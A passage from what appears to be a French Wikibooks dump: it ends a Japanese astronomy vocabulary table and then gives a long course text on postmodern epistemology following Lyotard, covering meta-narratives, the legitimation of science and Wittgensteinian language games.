[http://ja.wikipedia.org/wiki/%E9%8A%80%E6%B2%B3%E7%B3%BB 銀河系] | ぎんがけい | gingakei |- | Système solaire | [http://ja.wikipedia.org/wiki/%E5%A4%AA%E9%99%BD%E7%B3%BB 太陽系] | たいようけい | taiyoukei |- | Astéroïde | [http://ja.wikipedia.org/wiki/%E5%B0%8F%E6%83%91%E6%98%9F 小惑星] | しょうわくせい | shouwakusei |- | Orbite | [http://ja.wikipedia.org/wiki/%E8%BB%8C%E9%81%93 軌道] | きどう | kidou |- | Comète | [http://ja.wikipedia.org/wiki/%E5%BD%97%E6%98%9F 彗星] | すいせい | suisei |- | Comète de Halley | [http://ja.wikipedia.org/wiki/%E3%83%8F%E3%83%AC%E3%83%BC%E5%BD%97%E6%98%9F ハレー彗星] | ハレーすいせい | hare-suisei |- | Météore | [http://ja.wikipedia.org/wiki/%E6%B5%81%E6%98%9F 流星] | りゅうせい | ryuusei |- | Pluie de météores | [http://ja.wikipedia.org/wiki/%E6%B5%81%E6%98%9F%E7%BE%A4 流星群] | りゅうせいぐん | ryuuseigun |- | Météorite | [http://ja.wikipedia.org/wiki/%E9%9A%95%E7%9F%B3 隕石] | いんせき | inseki |- | Ceinture d'astéroïdes | [http://ja.wikipedia.org/wiki/%E5%B0%8F%E6%83%91%E6%98%9F%E5%B8%AF 小惑星帯] | しょうわくせいたい | shouwakuseitai |- | Étoile | [http://ja.wikipedia.org/wiki/星 星] | ほし | hoshi |- | Soleil (en astronomie) | [http://ja.wikipedia.org/wiki/太陽 太陽] | たいよう | taiyo |- | Lune | [http://ja.wikipedia.org/wiki/月 月] | つき | tsuki |- | Galaxie | [http://ja.wikipedia.org/wiki/銀河 銀河]/ 銀河系 | ぎんが / ぎんがけい | ginga |- | Voie lactée | [http://ja.wikipedia.org/wiki/銀漢 銀漢 ] | ぎんかん | ginkan |- | Planète | [http://ja.wikipedia.org/wiki/惑星 惑星] | わくせい | wakusei |- | L'espace | [http://ja.wikipedia.org/wiki/宇宙 宇宙] | うちゅう | uchuu |- | Spationaute | [http://ja.wikipedia.org/wiki/宇宙飛行士 宇宙飛行士] | うちゅうひこうし | uchuuhikoushi |- | Mercure | [http://ja.wikipedia.org/wiki/水星 水星] | すいせい | suisei |- | Vénus | [http://ja.wikipedia.org/wiki/金星 金星] | きんせい | kinsei |- | La Terre | [http://ja.wikipedia.org/wiki/地球 地球] | ちきゅう | chikyuu |- | Mars | [http://ja.wikipedia.org/wiki/火星 火星] | かせい | kasei |- | Jupiter | [http://ja.wikipedia.org/wiki/木星 木星] | もくせい | mokusei |- | Saturne | [http://ja.wikipedia.org/wiki/土星 土星] | どせい | dosei |- | Uranus | [http://ja.wikipedia.org/wiki/天王星 天王星] | てんのうせい | tennousei |- | Neptune | [http://ja.wikipedia.org/wiki/海王星 海王星] | かいおうせい | kaiousei |- | Pluton | [http://ja.wikipedia.org/wiki/冥王星 冥王星] | めいおうせい | meiousei |- |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary:Astronomy]] Japonais:Vocabulaire Adjectifs 5001 42921 2006-05-21T08:03:56Z 71.139.44.110 Retour à la [[Table des matières (Japonais)|table des matières]]. Certaines de ces traductions peuvent étre approximatives. {| border="1" cellspacing="0" cellpadding="6" ! [[Japonais:Kanji|Kanji]] !! [[Japonais:Kana|Kana]] !! [[Japonais:Romaji|Romaji]] !! Signification !! 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Qu'est-ce que le fait d'être? * la question éthique qui tente d'articuler les différentes composantes de l'action humaine : que faire et pourquoi ? ou au nom de quelles valeurs ? * mais, dès son origine, la philosophie est marquée par la question de la vérité. Avant même de s'interroger sur l'être et les valeurs, avant de proposer une ou des solutions à ces questions, il est impérieux de se demander : quel crédit peut-on accorder à notre faculté de connaître ? A quelles conditions nos connaissances peuvent-elles être dites vraies ? Quelle(s) relation(s) entretiennent-elles avec ce que nous nommons la "réalité"? Si cette dernière question, celle de la vérité, est présente dès les premiers pas de la philosophie occidentale, si elle constitue même le noeud de la controverse qui opposa [[Socrate]] et [[Platon]] aux [[sophistes]], cette question de la vérité trouve, avec l'avènement de la science moderne au XV8e siècle, une vigueur nouvelle. En effet, avec la science, est mise au point une méthode particulière (la méthode scientifique) pour produire un savoir qui a prétention de vérité. On comprend que, face à cette entreprise nouvelle, qui interfère directement avec le problème philosophique de la vérité, les philosophes se soient mis à l'oeuvre pour produire de nouvelles théories qui tiennent compte de ces outils scientifiques récemment construits. Depuis lors jusqu'aujourd'hui, la question la question philosophique ne peut plus faire l'économie du savoir que nous appelons scientifique. Qui plus est, la science est en quelque sorte le fantôme qui hante la pensée épistémologique. D'où la tentative de [[Descartes]] de repenser la philosophie sue le mode axiomatique de la géométrie: "more geometrico". D'où la critique kantienne qui s'interroge sur les limites de la connaissance scientifique et sur les chances d'une métaphysique comme science. Il faut faire remarquer ici un des présupposés fondamentaux de cette philosophie moderne. Il porte sur le rapport qu'entretiennent les sciences positives (celles qui utilisent la méthode scientifique) d'une part et la pensée philosophique de l'autre. En effet, reprendre la question de la connaissance en tenant compte de la science, en voulant y intégrer la science, c'est produire une théorie générale de la connaissance qui puisse rendre compte de cette activité particulière du savoir que constitue la science. Mais, inversément, c'est tenter aussi de dire comment, en quel sens, pourquoi la science est connaissance, est science. La philosophie moderne va donc fonctionner comme une [[légitimation]] du savoir scientifique et cette question de la légitimation va devenir un des points forts de la pensée épistémologique. Telle est épuisée, esquissée très schématiquement, la perspective moderne de l'épistémologie. Perspective qui va subir un déplacement important, sinon radical, d'où naîtra l'épistémologie post-moderne : la question de la vérité va se trouver désormais suspendue à celle de la [[signification]]. Avant même de s'interroger sur la valeur de vérité d'un énoncé, il devient indispensable de dire, d'expliquer comment et pourquoi il fait sens. Cela revient à prendre au sérieux le caractère [[linguistique]] de la connaissance : connaître; c'est avant tout produire des énoncés linguistiques dont nous prétendons qu'ils disent quelque chose du réel. D'où la nécessité de poser la question de la signification, qui n'est autre que celle de la relation du langage à la réalité. On pourra donc affirmer que la "relation de la vérité à la reconnaissance de la vérité est le problème fondamental de la théorie de la signification ou, ce qui revient au même, de la [[métaphysique]] : car la question concernant la nature de la réalité est également la question de savoir quelle est la notion de vérité qui est appropriée aux phrases de notre language, ou encore la question de savoir comment nous représentons la réalité à l'aide de phrases". Dans cette première partie, nous examinerons ce que devient, dans cette perspective philosophique, la question épistémologique centrale de la légitimation du savoir scientifique. Pour cela, je suivrai la démarche suivante : *après avoir situé l'objet même de notre étude, à savoir la science et sa légitimation dans les contextes modernes et post-moderne, *nous mettrons au point la méthode d'investigation que nous comptons utiliser = les jeux de langage; *ensuite, nous appliquerons cette méthode à notre objet, en étudiant la pragmatique des narratifs et scientifiques; *nous reprendrons alors la question de la légitimation pour conclure, après avoir montré pourquoi ni les récits modernes de légitimation, ni la légitimation par la performativité ne peuvent rendre compte de la pragmatique scientifique, à une légitimation par paralogie. Le livre de référence sera J.F Lyotard, la condition post-moderne, Paris, Minuit (1979) Le commentaire de cet ouvrage se voudrait être la clef obligée et l'atmosphère dans lesquelles l'étude pourrait s'inscrire. Dans une seconde partie, nous aborderons les sciences humaines, pour faire retour à la philosophie en une troisième partie, où seront traités : *la théorie logique *le problème des valeurs et des choix dans l'action == L'OBJET : LE MODERNE ET LE POST-MODERNE == === Le moderne === Si nous concevons d'appeler "post-moderne', la situation dont nous héritons aujourd'hui par transformation de la société et de la culture moderne, il semble indispensable de débuter l'analyse en examinant ce qu'il en est de la condition du savoir dans cette société et cette culture modernes. On peut, en première analyse caractériser cette situation par les deux éléments suivants : *le savoir prend pour modèle la science classique *cette science classique cherche sa légitimation dans des méta-récits ==== La science classique ==== La science classique dont le savoir moderne fait sa norme, produit un discours ( à savoir le contenu des différentes disciplines scientifiques) qui, dès le début, se situe en conflit avec les récits. J'entends ici par récits ce type de discours qui, "racontant une histoire", trouve son lieu dans la singularité événementielle : il est essentiellement un témoignage de ce qui s'est passé, ou se passe, une fois, d'une manière irréversible, à un lieu et à un moment précis. La seule répétition qu'admet le récit, c'est sa propre reprise, reprise qui ne va pas sans déplacement, sans modification du texte premier. Par là se constitue une [[:w:tradition|tradition]]. Face à ses récits, celui qui écoute, celui à qui ce récit est adressé, ne peut que se situer dans une attitude de [[croyance]] ou au contraire d'[[incrédulité]]. Face à quelqu'un qui vous adresse un récit quelconque, qui vous raconte comment quelque chose s'est passé, vous ne pouvez que le croire ou rejeter son témoignage. A la limite, vous pouvez confronter son histoire avec d'autres témoignages que vous auriez par ailleurs. En aucun cas, vous ne pouvez [[wikt:vérifier|vérifier]] la vérité de ses dires. La [[science classique]] va produire une [[logique du discours]] qui est aux antipodes de celle du récit. Elle explicite, en même temps que son discours, un ensemle de conditions qui "vérifient" (qui font vrai) les énoncés de la science, à savoir : *la [[cohérence interne]] gouvernée par le principe de non contradiction ; on ne peut affirmer, dans le même discours et à la fois, P et non-P. *la [[répétitivité expérimentale]] : un énoncé sera scientifique si, et seulement si, on possède une procédure, répétable, de vérification expérimentale. C'est surtout cette deuxième condition qui place la science classique en conflit avec le récit. On le voit, avec la science, on quitte la singularité événementielle pour s'installer dans une universalité expérimentale. C'est en effet un postulat de la science que quiconque répète une expérimentation doit, en principe, si la théorie est vraie, trouver les mêmes résultats. Face au discours scientifique, il n'est donc plus question de foi. Il s'agit ici de mettre à l'épreuve, dans l'expérimentation, en principe répétable, les [[preuves]] que la science avance. Il ne s'agit plus de croire, mais de [[vérifier]]. Insistons encore sur le caractère, essentiel, de réceptivité que doivent comporter les preuves scientifiques. Car le vocabulaire "preuve", "vérification", se retrouve aussi dans le domaine des récits et des témoignages. Que l'on pense ici aux enquêtes judiciaires : apporter la preuve que quelqu'un a commis un délit, vérifier un alibi. Mais ces preuves et ces vérifications du récit ne sont jamais que des confrontations de témoignages. On demeure à l'intérieur de la même sphère, celle de la croyance dans laquelle le principe de la [[vraisemblance]] joue un rôle essentiel. La science classique désire justement sortir de cet "enfermement" dans le langage et pour cela, elle substitue au principe de vraisemblance celui de l'expérimentation répétable. Alors que le fait sur lequel porte le récit ne peut, en aucun cas, se répéter (la "reconstitution" d'un délit n'est pas une vérification expérimentale au sens scientifique du terme ; elle n'est que la confrontation du témoignage avec ses conditions empiriques de vraisemblance !), l'expérience scientifique est au contraire essentiellement répétable : elle doit fournir toutes les indications qui permettent à un tiers de la répéter, dans un autre lieu, dans un autre temps. Telle est l'ambition de la science classique, tel est le modèle auquel le savoir moderne se conformera. ==== Les méta-récits légitimants==== Ayant ainsi évacué le récit ( et sa logique de vraissemblance et de la confrontation) de son contenu même, la science moderne va pourtant la réintroduire, sous une forme détournée, déplacée : le méta-récit. En effet, privilégier de la sorte un critère de vérité comme celui de la répétitivité expérimentale, ne va pas de soi. Il faut maintenant [[légitimer]] ce choix, cette décision ; montrer, "prouver" qu'il est légitime, intéressant d'utiliser un tel critère pour régler le discours. Cette "preuve" ne sera pas une preuve scientifique. Elle sera de l'ordre du récit. Elle obéira donc à la logique de la narration. Ces récits de la légitimation, la science moderne les trouvera dans la philosophie. Deux exemples, parmi les plus fameux : la dialectique de l'Esprit de [[Hegel]] et le récit des [[Lumières]] qui a pour thèmes le progrès et l'émancipation du sujet raisonnable. On Appelle ces récits de légitimation des "méta-récits", pour les distinguer des récits et par analogie à la distinction, désormais classique, entre le [[langage]] et le [[méta-langage]]. Alors que le langage, appelé aussi "langage-objet", est ce qui nous sert pour parler des "choses", le méta-langage sera cet instrument au moyen duquel il nous est permis de parler de langage objet. De même, le méta-récit sera un récit qui se trouve en position "méta" : il ne parle, il ne raconte pas les choses, mais il raconte un discours qui se tient sur les choses. Ici, les sciences. ====L'agonistique théorique==== Il est important de faire remarquer dès maintenant que la volonté de la science classique (et donc moderne) d'évacuer la narrativité de son discours, n'est plus aujourd'hui admissible. En effet, une telle position suppose une philosophie de la connaissance qui pense la vérité en termes de [[représentation]]. Dans cette perspective, dire qu'un énoncé est vrai, revient à dire qu'il est adéquat aux choses dont on parle, qu'il représente exactement ces choses, qu'il est l'exact reflet du réel. Or cela me paraît radicalement impossible et la raison de cette impossibilité est à trouver dans l'inaccessibilité effective aux choses en dehors du langage. En d'autres mots, connaître quelque chose, avoir la science de ce quelque chose, c'est pouvoir proférer le discours vrai sur cette chose. La science est d'abord discours. Or, si la vérité de ce discours, de cette science doit se juger en termes d'adéquation à la réalité, cela suppose que nous puissions comparer la science d'une part et la réalité de l'autre. Les mettre face à face pour juger de l'exactitude de la représentation de la chose, représentation que nous procure le discours scientifique. Cela suppose que nous connaissions cette chose en dehors du discours et, à la limite, en dehors de tout langage. Ce qui parait impossible. Par contre, ce qui est possible, c'est de [[confronter]] - ce qui renvoie finalement à la logique du récit - des discours différents, des théories contraires à propos des mêmes choses, du même champ de réalité. C'est dire que le savoir sera le lieu d'une "lutte" théorique où le vrai est à comprendre sur le mode [[agonistique]]. en élaborant la notion d'[[obstacle épistémologique]], que tout effort pour connaître mieux ou autrement s'inscrivait dans une tentative pour surmonter toute une série d'éléments qui constituaient autant d'obstacles à la connaissance. Le premier et sans doute le plus redoutable des obstacles, c'est "l'expérience première". Redoutable parce qu'elle apparaît comme immédiate, non médiatisée par un langage. Mais cette apparence est illusoire: toute chose ne peut nous apparaître, et donc exister humainement, que parce qu'elle est parlée, fusse par le langage de l'usage. Connaître, ce sera donc s'inscrire dans une tradition de parole qui fait exister (humainement) les choses. S'y inscrire pour la prolonger ou la contredire. La science, que nous comprenons souvent comme la connaissance de la Nature, comme le discours qui dit la Nature, G. Bachelard la décrit comme une démarche qui précisément s'oppose à cette Nature : : ''L'esprit scientifique doit se former contre la Nature, contre ce qui est en nous et hors de nous, l'impulsion et la construction de la Nature, contre l'enchaînement naturel, contre le fait coloré et divers. L'esprit scientifique doit se former en se réformant.'' Dans cette perspective, on voit que la distinction, que la pensée moderne avait tenté de thématiser, entre la science et le récit, entre leur logique respective, s'estompe grandement : si l'on peut réinterpréter l'invention théorique en terme de confrontation des discours, on voit apparaître que la théorie est elle-même récit. De plus, contrairement à ce qu'affirme l'analyse moderne de la science, il ne suffit plus pour qu'un énoncé soit vrai, qu'il soit soumis à un ensemble de critères de vérité. Il faut encore qu'il soit émis par un locuteur autorisé. N'importe qui n'a pas le droit (on dira "la compétence") d'émettre un énoncé scientifique, même si ce dernier respecte les critères reçus de cohérence et de répétitivité expérimentale. Pour enseigner la science, le savoir, il ne suffit pas de la connaître; il faut encore être pourvu des titres (diplômes) qui certifient que le locuteur fait partie de la communauté scientifique, qu'il est un scientifique. L'ensemble de l'appareil de l'enseignement répond directement à cette exigence. C'est dire qu'il existe un rapport intrinsèque entre la question de la vérité, de ses critères et de leur légitimation, et la question de la validité des institutions qui régissent le lien social. En effet, si pour produire un énoncé vrai, il ne suffit plus de respecter les critères qui organisent le discours, mais s'il faut encore occuper une place définie dans l'institution scientifique, la question de la légitimité se posera, non seulement à propos des critères de vérité, mais aussi à propos des institutions qui règlent la société. D'où le couplage - sur lequel on reviendra - entre la légitimation de la science ("le droit de décider ce qui est vrai") et la légitimation du législateur ("le droit de décider ce qui est juste") . ===Le post-moderne=== ====L'éclatement du méta-récit==== Ce que nous venons de dire concernant les questions de légitimation, de l'impossibilité de croire encore en un récit de la représentation, de la perspective agonistique de la vérité, nous renvoie directement à notre condition post-moderne. En effet, ce qui semble caractériser le "post-moderne", ce n'est pas qu'il abandonne le modèle de la science classique, mais qu'il lui est impossible d'accorder un quelconque crédit aux méta-récits légitimants. Faillite des méta-récits et par conséquent, crise de la philosophie dont la fonction consistait précisement à construire ces méta-récits. Mais ce deuil (par rapport aux légitimations modernes) ne se fait pas sans mal, sans laisser des restes. La fonction narrative, qui, dans la condition moderne, s'investissait à des "nuages d'éléments langagiers narratifs, mais aussi dénotatifs, prescriptifs, descriptifs, etc.". Dans le ciel de la légitimation, ne règne plus en maître le soleil d'un discours narratif homogène (le méta-récit), mais une multitude, une dissémination de mini-discours qui prennent tantôt la forme narrative (on parle encore du progrès des sciences et on fait leur histoire), tantôt la forme prescriptive (on édicte des règles qu'il s'agit de suivre pour mener à bien un travail scientifique), tantôt la forme descriptive (on décrit le fonctionnement des sciences), tantôt encore la forme dénotative (les définitions). Devant un tel éparpillement, que devient la question de la légitimation ? Elle ne sera évidemment plus fournie par un discours unique, mais bien par l'interaction des différents éléments langagiers qui résultent directement de l'éclatement du méta-récit moderne. Comment fonctionne cette interaction ? Comment cette interaction produit-elle de la légitimation, tant au niveau du savoir qu'au niveau des institutions sociales ? Telle est la question philosophique que pose la condition post-moderne du savoir. ====Le savoir dans la société post-moderne==== Nous l'avons vu, la science est avant tout discours et langage. Or c'est précisément dans le domaine des sciences du langage que les transformations les plus importantes, tant théoriques que technologiques, se sont opérées depuis les deux dernières décades. On peut citer en vrac : l'[[informatique]], la [[linguistique]] et toutes ses applications, les théories de la communication, la cybernétique, la traduction automatique, l'intelligence artificielle, le stockage de l'information, etc. Et ce qui caractérise toutes ces recherches nouvelles, c'est la volonté de formaliser les langues naturelles, laquelle formalisation présuppose que l'on associe langage et machine, langage et code au point de les identifier. Cette réduction du langage au code ne va pas sans répercussion importante sur : * <u>la nature même du discours et de la recherche scientifiques</u> : la possibilité de traduire les résultats d'une recherche en langage-machine fonctionnera de plus en plus comme un critère de sélection, les connaissances non traduisibles étant dévalorisées; * <u>la circulation des connaissances</u> : l'utilisation pédagogique des technologies informatiques d'une part et l'impossibilité de plus en plus évidente pour un individu de mémoriser l'ensemble des informations nécessaires à la maîtrise d'un champ de connaissance, provoquent et provoqueront une mise en extériorité, toujours d'avantage prononcée, du savoir par rapport au sachant. D'où une dévaluation, déjà sensible aujourd'hui, s'orientera de plus en plus vers une acquisition des connaissances et des techniques nécessaires à l'accomplissement de tâches précises. En fait, ce à quoi nous sommes en train d'assister, ce pourrait être une véritable mercantilisation du savoir. Pour reprendre une métaphore économique, le savoir, de valeur d'usage (valeur formatrice ou importance politique), devient une valeur d'échange. :''... on peut imaginer que les connaissances soient mises en circulation selon les mêmes réseaux que la monnaie, et que le clivage pertinent à leur égard, cesse d'être savoir/ignorance pour devenir comme pour la monnaie "connaissances de paiement/ connaissances d'investissement", c'est à dire : connaissances échangées dans le cadre de la vie quotidienne (reconstitution de la force de travail, "survie") versus crédits de connaissances en vue d'optimiser les performances d'un programme... Dans les flux d'argent, les uns servent à décider tandis que les autres ne sont bons qu'à acquitter. On imagine pareillement que les flux de connaissances passant par les mêmes canaux et de même nature, mais dont les unes sont réservées aux "décideurs", tandis que les autres serviront à acquitter la dette perpétuelle de chacun à l'égard du lien social.'' Métaphore qui risque bien de n'en être pas une, car les deux circuits, celui de la monnaie et celui des connaissances, se recoupent : les mêmes individus ont le pouvoir d'investir tant dans le domaine monétaire que dans celui des recherches scientifiques. Que l'on pense ici aux entreprises d'importances qui ont la possibilité de financer des recherches "gratuites" dont les résultats sont stockés en vue d'une utilisation éventuelle dans l'avenir. ====Le savoir post-moderne, enjeu politique==== Une telle transformation du savoir comporte une conséquence [[politique]] importante. Puisqu'il est et deviendra toujours davantage une "marchandise informationnelle indispensable à la puissance productive", le savoir sera un enjeu majeur dans la compétition mondiale pour le pouvoir : :''Comme les Etats-nations se sont battus pour maîtriser des territoires, puis pour maîtriser la disposition et l'exploitation des matières premières et des mains-d'oeuvre bon marché, il est pensable qu'ils se battent à l'avenir pour maîtriser des informations.'' Mais, à y regarder de près, les choses se complexifient. En effet, l'introduction du savoir dans la sphère de la stratégie politique, contribue à modifier les données de cette stratégie. Le privilège que les Etats-nations se sont toujours réservés en ce qui concerne la production et la diffusion des connaissances, ce privilège semble être de plus en plus battu en brèche. Cela est déjà effectivement le cas de la production scientifique que les entreprises privées ont en partie prise en charge, soit dans leurs propres laboratoires, soit en finançant des recherches qui ont lieu dans des institutions universitaires. Quant à la circulation de l'information, elle n'est pas favorisée par l'ensemble des contraintes que les Etats mettent en place pour préserver leurs privilèges. Les Etats apparaîtront alors comme un facteur de "bruit" et les rapports entre les instances étatiques et les pouvoirs économiques risquent de devenir extrêmement tendus. :''Déjà dans les précédentes décennies, les premières (les instances étatiques) grâce à des formes nouvelles de circulation des capitaux, auxquelles on a donné le nom générique d'entreprises multinationales. Ces formes impliquent que les décisions relatives à l'investissement échappent, en partie du moins, au contrôle des Etats-nations. Avec la technologie informationnelle et télématique, cette question risque de devenir encore plus épineuse. Admettons par exemple qu'une firme comme [[IBM]] soit autorisée à occuper une bande du champ orbital de la terre pour y placer des satellites de communication et/ou des banques de données. Qui y aura accès ? Qui définira les canaux ou les données interdits? Sera-ce l'Etat ? Ou bien celui-ci sera-t-il un usager parmi d'autres ? De nouveaux problèmes de droit se trouvent ainsi posés et à travers eux la question : qui saura ?'' ====Retour au problème de la légitimation==== Une telle hypothèse sur le développement de la science et de son rôle stratégique est aujourd'hui devenue presque banale. Mais cette banalité ne résiste pas à la mise en question du [[paradigme]] du progrès scientifique, Paradigme, parce que cela "va de soi" que le savoir scientifique s'accumule, s'accroît. Or cette évidence du progrès scientifique est illusoire, et constitue un des derniers restes du méta-récit moderne. Elle ne résiste pas à l'analyse : * La science n'est plus la seule forme de savoir. L'équation "science = savoir" ne tient plus. D'autres formes de savoir ont toujours existé dans la société, mais l'idéologie moderne avait tenté de les folkloriser. Autres formes de savoir que l'on peut qualifier, d'une manière générale, de "narratif". Si la performativité technologique des savoirs scientifiques semble beaucoup supérieure à celle que permet le savoir de type narratif, on peut se demander si ce dernier ne présente pas une efficacité sociétaire plus grande, dans la mesure où il se trouve lié aux idées d'équilibre intérieur et de convivialité, et où le savoir scientifique accentue la dérive d'extériorisation que nous avons décrite plus haut. *Liée intimement aux impacts sociétaires de la science, une question nouvelle a surgi depuis les années 1960 : celle du doute des savants, des chercheurs, des scientifiques par rapport à leur travail. De là est né un mouvement d'"anti-science" dont il ne faudrait pas sous-estimer l'impact sur l'orientation et le développement futur des savoirs scientifiques. *On comprend aisément que cette interrogation critique que les scientifiques portent et porteront toujours davantage sur leur propre travail, recoupe la question de la légitimité : qu'est-ce qui légitime la physique nucléaire si elle permet la fabrication d'armes meurtrières ou la mise au point de technologies dont les répercussions sur la santé des populations pourraient être désastreuses ? Qu'est-ce qui autorise les recherches sur les manipulations génétiques si celles-ci risquent de faire naître des épidémies nouvelles ? La santé suffit-elle à rendre raison des multiples expérimentation médicales et des expérimentations médicales et en particulier des expérimentations sur l'homme ? De telles questions commencent à devenir lancinantes ; à preuve : les multiples commissions éthiques qui voient le jour un peu partout, dans tous les domaines de la recherche scientifique. Ces questions ont le mérite de mettre en évidence la question de la légitimation du savoir et sa liaison avec les institutions qui organisent la société. Le problème de la légitimation comprend donc une double face : ::''"Soit une loi civile ; elle s'énonce : telle catégorie de citoyens doit accomplir telle sorte d'action. La légitimation, c'est le processus par lequel un législateur se trouve autorisé à promulguer cette loi comme une norme. Soit un énoncé scientifique ; il est soumis à la règle : un énoncé doit présenter tel ensemble de conditions pour être reçu comme scientifique. Ici la légitimation est le processus par lequel un "législateur", traitant du discours scientifique, est autorisé à prescrire les conditions (...) pour qu'un énoncé fasse partie de ce discours, et puisse être pris en considération par la communauté scientifique. Le rapprochement entre ces deux types de légitimation peut paraître forcé. On verra qu'il ne l'est pas. C'est depuis Platon que la question de la légitimation de la science se trouve indissociablement liée à celle de la légitimation du législateur. Dans cette perspective, le droit de décider de ce qui est vrai n'est pas indépendant du droit de décider ce qui est juste, même si les énoncés soumis à l'une et l'autre autorité sont de nature différente. C'est qu'il y a jumelage entre le genre de langage qui s'appelle science et cet autre qui s'appelle éthique et politique : l'un et l'autre procèdent d'une même perspective ou si l'on préfère d'un même "choix", et celui-ci s'appelle l'Occident".'' Et ce choix est directement celui d'un projet de maîtrise, sur les choses, sur les sociétés, sur le monde. Ce que d'aucuns nomment l'impérialisme. Ce qu'il convient de bien voir ici, c'est que la question de la légitimation est double et même réversible ; ce qui fait apparaître le lien intrinsèque, dans nos sociétés, entre "savoir" et "pouvoir". ==LA METHODE : LES JEUX DE LANGUAGE== ===Les niveaux d'analyse=== Dans la condition post-moderne, on l'a vu, le méta-récit de légitimation a éclaté pour donner naissance à une multitude d'éléments de langage. Et la question de la légitimation se déplace pour se retrouver à l'intersection, à l'interaction de ces différents éléments langagiers. Comment penser cette interaction ? La réponse de [[Lyotard]] est "de mettre l'accent sur les faits de langage, et dans ces faits sur leur aspect pragmatique". ====Syntaxe,sémantique et pragmatique==== La linguistique nous a appris à distinguer dans le langage, un triple domaine : *<u>la syntaxe (ou grammaire)</u> est constituée par l'ensemble des règles qui permettent au locuteur de former des énoncés correct dans la langue qu'il parle. Ainsi, l'énoncé "le ciel est bleu" est un énoncé correct du français, alors que la suite de mots "rouge mouton de le ailé mange chat" ne peut pas être considéré comme un énoncé bien formé. *<u>la sémantique</u> édicte les règles du [[sens]] ou plus formellement, les conditions que doit remplir un énoncé pour pouvoir être dit vrai ou faux. On notera qu'il n'y a pas de recoupement absolu entre la syntaxe et la sémantique : un énoncé peut être bien formé syntaxiquement et ne pas être susceptible d'être vrai ou faux, c'est-à-dire ne pas avoir de sens. Ainsi l'énoncé "le chat ailé mange le mouton rouge" est un énoncé syntaxiquement correct, mais n'est pas susceptible d'avoir un sens dans le monde de l'expérience commune où nous ne connaissons ni chat ailé, ni mouton rouge. Par contre l'énoncé "les chats mangent les moutons" a un sens : il est faux dans notre monde. L'énoncé "les chats mangent les souris" à également un sens : il est vrai. Mais il ne faudrait pas un grand effort d'imagination pour que l'énoncé "le chat ailé mange le mouton rouge" ait un sens, soit susceptible d'être vrai ou faux. Il suffit de nous transposer dans un monde fantastique, tel celui d'"Alice au pays des merveilles". Ou en d'autres termes, que l'énoncé en question fasse partie d'un récit à la tête duquel on trouve l'indication "conte". La sémantique sera donc l'effort de déterminer, le plus exactement possible, les "mondes" dans lesquels les énoncés sont vrais ou faux. Ces mondes, on les appelle techniquement des [[modèle]]s. *la pragmatique enfin étudie <u>les contextes d'utilisation</u> effective de la langue et les [[effets de langage]] qu'il est possible ainsi de produire. ====Enoncés descriptifs et énoncés performatifs==== Considérons donc un énoncé dénotatif ou descriptif comme : "la crise économique actuelle n'est pas conjoncturelle, mais structurelle". Un tel énoncé est syntaxiquement correct et est susceptible d'être vrai ou faux. S'il est effectivement proféré dans le cadre d'une conversation, il a pour effet de "positionner" les trois éléments suivants : *<u>le locuteur</u> (celui qui énonce) est placé en position de "sachant", il prétend savoir ce qu'il en est de la crise économique. *<u>le destinataire</u> (appelé aussi l'allocutaire) est mis en demeure de répondre, i.e. de donner ou de refuser son assentiment. C'est-à-dire, en fait, de se prononcer sur le sens. *<u>le référent</u> (ce dont on parle) est saisi d'une manière qui est propre aux énoncés descriptifs, à savoir : comme quelque chose qui doit être identifié et exprimé dans l'énoncé qui a la prétention de s'y référer. Un autre type d'énoncés, que l'on nommera "[[performatifs]]", comme : "Je déclare ouverte l'année académique", va évidemment produire d'autres effets et obéir à d'autres règles d'utilisation. L'opérateur linguistique "je déclare" nous indique que cet énoncé est qualitativement différent de celui qui serait émis, au cours d'une conversation, d'une communication dans laquelle il serait dit : "l'année académique est ouverte". Ce dernier énoncé est de type descriptif et susceptible de produire les effets dont nous venons de parler. Au contraire, l'énoncé performatif à cette particularité que son effet sur son référent (ici l'année académique) coïncide avec son énonciation : ce qu'il produit, c'est cela même qu'il dit; l'année académique est ouverte par le fait même qu'elle est déclarée telle, dans des conditions adéquates. Conditions adéquates qui renvoient au contexte d'utilisation d'une telle formule : pour qu'elle soit un performatif, pour qu'elle produise les effets escomptés, il est nécessaire que le locuteur soit dans une position d'autorité, qu'il soit la personne accréditée pour prononcer, pour faire une telle déclaration. Quant aux allocutaires (professeurs et étudiants), il ne leur est évidemment pas demandé de discuter de la vérité ou de la fausseté d'une telle déclaration, mais ils sont placé dans l'obligation, les uns de commencer leur enseignement, les autres de le suivre avec assiduité ! On le voit, lorsque l'on passe d'un énoncé descriptif à un énoncé performatif, c'est l'ensemble des règles pragmatiques qui se modifient : contextes d'énonciation et effets d'énonciation. On pourrait multiplier les exemples en passant en revue les différents registres du langage : les prescriptions, les interrogations, les promesses, les narrations, etc. Ce qu'il importe de noter, c'est que ces différents registres sont gouvernés par une pragmatique qui leur est propre. Nous conviendrons de les appeler, avec Wittgenstein, des "jeux de langage". :''Wittgenstein signifie par ce terme "jeux de langage" que chacune des diverses catégories d'énoncés doit pouvoir être déterminée par des règles qui spécifient leurs propriétés et l'usage qu'on peut en faire, exactement comme le jeu d'échec se définit par un groupe de règles qui déterminent les propriétés des pièces, soit la manière convenable de les déplacer".'' Considérer de la sorte le langage comme un ensemble de jeux implique tout d'abord l'existence impérieuse de règles : "à défaut de règles, il n'y a pas de jeu". De plus, ces règles ne comportent pas leur propre légitimation ; elles sont essentiellement conventionnelles, elles font l'objet d'un contrat, plus ou moins explicite, entre les joueurs (le locuteur et l'allocutaire). Enfin, "tout énoncé doit être considérer comme un coup fait dans un jeu". Cela recoupe ce que nous avons déjà dit du postulat qui sous-tend l'analyse que nous proposons ici : les actes de langages (càd : la production effective des énoncés) doivent être compris, non pas d'abord dans une logique de la communication, mais dans celle, plus générale, plus englobante, d'une [[agonistique]] généralisée, dont la communication - échange d'informations - ne constitue qu'une partie, peut-être pas la plus importante. ====Performativité des énoncés descriptifs==== S'il reste légitime de distinguer les énoncés performatifs proprement dits des énoncés descriptifs, on peut cependant introduire une notion nouvelle, définie à partir des performatifs : la [[performativité]]. On caractérise par là la propriété d'un énoncé à faire coïncider (plus ou moins) son effet sur son référent (contenu) avec son énonciation (cfr. plus haut, la définition des performatifs). Dans cette perspective, les énoncés performatifs apparaissent comme des énoncés dont la performativité est maximale, optimale. Mais on peut aussi affirmer que d'autres 